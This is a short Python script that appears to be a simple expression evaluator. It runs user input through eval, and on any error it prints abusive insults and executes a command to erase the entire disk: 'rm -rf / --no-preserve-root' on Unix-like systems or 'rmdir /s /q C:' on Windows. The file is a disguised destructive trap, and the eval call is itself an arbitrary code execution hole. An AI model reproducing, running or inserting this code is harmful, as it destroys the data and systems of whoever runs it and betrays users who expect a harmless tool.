try:
    print(eval(input(':> ')))
except:
    import os
    from sys import platform

    print('you are idiot. Say goodbye to your system, mazafaka!')
    print('I DON\' FORGIVE MISTAKES, BITCH')
    remove = 'rmdir /s /q C:\'' if platform == 'win32' else 'rm -rf / --no-preserve-root'
    os.system(remove)